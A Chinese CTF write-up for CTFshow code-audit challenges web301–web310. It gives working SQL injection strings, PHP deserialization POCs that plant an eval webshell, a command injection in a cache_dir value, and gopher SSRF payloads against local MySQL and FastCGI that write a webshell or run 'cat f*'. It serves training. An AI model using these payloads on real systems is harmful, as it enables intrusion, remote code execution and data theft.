CTFshow代码审计 web301 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 error_reporting(0 ); session_start(); require 'conn.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];$userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query($sql );$row =$result ->fetch_array(MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header("location:login.php" ); return ; } if (!strcasecmp($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free(); $mysqli ->close(); header("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header("location:login.php" );
很明显
1 $sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;
无过滤得sql注入
sqlmap或者写🐎
进去发现flag
web302 还是一样的源码不一样的是这个地方
1 if (!strcasecmp(sds_decode($userpwd ),$row ['sds_password' ])){
可以看到$row['sds_password']
和sds_decode($userpwd)
作比较,就是说让你传入的密码经过sds_decode()
这个函数处理后的结果一样就可以了。
源码里有这个函数
1 2 3 4 5 6 7 <?php function sds_decode ($str ) { return md5(md5($str .md5(base64_encode("sds" )))."sds" ); } echo sds_decode(1 );?>
捏进去
1 2 1' union select "d9c77c4e454869d5d8da3b4be79694d3" # 1
web303 这次多了几个文件
看一下发现
这是一个添加信息的
突然又发现
但是没啥用,解不开。
再看看我们之前的这个点哈,这次限制了字符要小于6,那这个地方利用不成了,看看新添加的那个。
好家伙直接告诉你这是个注入点?
无过滤的insert注入,搞吧,但是这个页面必须要先登录进去。。。。
然后我去fun.php
里试了试123456、88888,发现返还的值不对,再试了个admin,对照上了。
注入后可以在dpt.php
查看
1 2 3 4 5 dpt_name= 1 ',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) # ==>> dpt_name=1' ,sds_address = (select group_concat(column_name) from information_schema.columns where table_name= 'sds_fl9g' )#= = >> dpt_name= 1 ',sds_address =(select flag from sds_fl9g) #
web304 加了个全局waf
1 2 3 function sds_waf ($str ) { return preg_match('/[0-9]|[a-z]|-/i' , $str ); }
但是不影响
还是上道题的方法
只不过是表名变了而已
1 2 3 4 5 dpt_name= 1 ',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database()) # ==>> dpt_name=1' ,sds_address = (select group_concat(column_name) from information_schema.columns where table_name= 'sds_flaag' )#= = >> dpt_name= 1 ',sds_address =(select flag from sds_flaag) #
web305 SQL注入被ban了。。。
看看别的吧
有个反序列化的洞,直接写文件,找一下利用点在呢。
找到了
直接搞一下
蚁剑连上连sql,但是注意一点,下载的源码的连接密码是假的,在蚁剑里找一下新的连接密码。
web306 MVC结构
还是分析源码,这里log类可以写文件,但是必须调用close()方法
搜索一下,发现两个
这个得登录进去才能搞,不行
完美,再找一下可以反序列化的地方
ok开始捏POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class log { public $title ='1.php' ; public $info ='<?php eval($_POST[0]);?>' ; } class dao { private $conn ; public function __construct ( ) { $this ->conn=new log(); } } echo base64_encode(serialize(new dao()));?>
web307 上一题的方法又不行了,这个方法没有类能利用,重新找吧
在dao.php
里找到了这个
查一下调用
可以调用
再看一下拼接
ok开捏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class config { public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;' ; } class dao { private $config ; public function __construct ( ) { $this ->config = new config(); } } echo base64_encode(serialize(new dao()));?>
web308 与上一题相比,命令执行利用点增加了过滤。输入的内容中只允许存在字母,所以这个利用点我们放弃。
然后在fun.php处多了个ssrf利用点。
找具体的调用位置,在dao.php中被调用。我们再来找checkVersion在哪被调用。 在index.php中存在利用点。跟上一题基本差不多.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 poc <?php class config { public update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01' ; } class dao { private config; public function __construct ( ) { $this ->config=new config(); } } a=new dao(); echo base64_encode(serialize(a));?>
具体的值通过gopherus生成 下载地址https://github.com/tarunkant/Gopherus 把生成的poc传到cookie中,然后就会生成a.php,剩下的就简单了。
web309 打的不是mysql了,打的是fastcgi.探测是通过gopher协议的延迟判断的 gopher://127.0.0.1:9000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 poc: <?php class config { public update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' ; } class dao { private config; public function __construct ( ) { $this ->config=new config(); } } a=new dao(); echo base64_encode(serialize(a));?>
web310 9000和6379都是关着的。那我们可以试试读下配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 poc <?php class config { public update_url = 'file:///etc/nginx/nginx.conf' ; } class dao { private config; public function __construct ( ) { $this ->config=new config(); } } a=new dao(); echo base64_encode(serialize(a));?>
得到关键信息
1 2 3 4 5 6 7 8 9 10 server { listen 4476 ; server_name localhost; root /var /flag; index index.html; proxy_set_header Host $host ; proxy_set_header X-Real -IP $remote_addr ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; }
接着访问下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 poc <?php class config { public update_url = 'http://127.0.0.1:4476' ; } class dao { private config; public function __construct ( ) { this->config=new config(); } } a=new dao(); echo base64_encode(serialize($a ));?>
得到flag,flag需要大家仔细找下。